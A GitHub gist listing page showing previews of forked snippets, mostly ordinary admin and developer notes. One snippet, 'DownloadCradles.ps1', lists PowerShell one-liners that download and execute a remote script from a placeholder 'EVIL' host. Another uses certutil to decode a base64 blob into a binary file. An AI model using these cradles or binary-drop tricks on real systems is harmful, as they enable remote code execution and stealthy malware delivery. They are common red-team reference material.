Skip to content

Instantly share code, notes, and snippets.

@washal
washal / _install.sh
Created December 22, 2016 13:16 — forked from marklit/_install.sh
Find the cheapest availability zone across all regions for an EC2 spot instance type
pip install sh
@washal
washal / git.txt
Created July 5, 2016 12:43 — forked from HarmJ0y/git.txt
Common git commands
Show remote branches:
git branch -v -a
To check out the remote branch:
http://stackoverflow.com/questions/1783405/checkout-remote-git-branch
git fetch
git checkout <branch>
@washal
washal / DownloadCradles.ps1
Created February 23, 2016 11:01 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@washal
washal / bash-cmd.txt
Created January 12, 2016 12:46
Collection of bash commands for quicker operations
> Get IP address of MX server for a domain
dig +short A $(dig +short MX domain.com | head -1 | cut -d' ' -f2)
@washal
washal / README.md
Created November 15, 2015 18:54 — forked from cstrelioff/README.md
a basic responsive page
@washal
washal / virtualenv_py3.txt
Last active November 20, 2015 09:26
Use Virtual Environments in Python3
#Ref: http://chrisstrelioff.ws/sandbox/2014/09/16/python_3_4_on_ubuntu_14_04_using_virtual_environments.html
# Create a virtual environment directory to store all virtual environments
$ mkdir somedir/venvs
# Create virtual environment using python 3
mkvirtualenv <project_name> -p /usr/bin/python3
# It automatically brings you into the virtual env for that project
(project_name)$
@washal
washal / customprint.py
Created November 15, 2015 17:41
Custom colors and outputs for different types of print messages
# Credits: TrustedSec https://github.com/trustedsec/ptf/blob/master/src/core.py
class bcolors:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
@washal
washal / drop_binary.bat
Created October 12, 2015 09:50 — forked from mattifestation/drop_binary.bat
Drop binary data from the command line w/o needing PowerShell
echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin
@washal
washal / netpps.sh
Last active August 29, 2015 14:23 — forked from joemiller/netpps.sh
#!/bin/bash
if [ -z "$1" ]; then
echo
echo usage: $0 network-interface
echo
echo e.g. $0 eth0
echo
echo shows packets-per-second
@washal
washal / zping.sh
Last active November 8, 2016 21:59 — forked from microlinux/zping.sh
#!/bin/bash
#
# INSTALL
# -------
# 1.) Create directory structure
# <base_dir>
# <base_dir>\bin
# <base_dir>\etc
# <base_dir>\log
# <base_dir>\rrd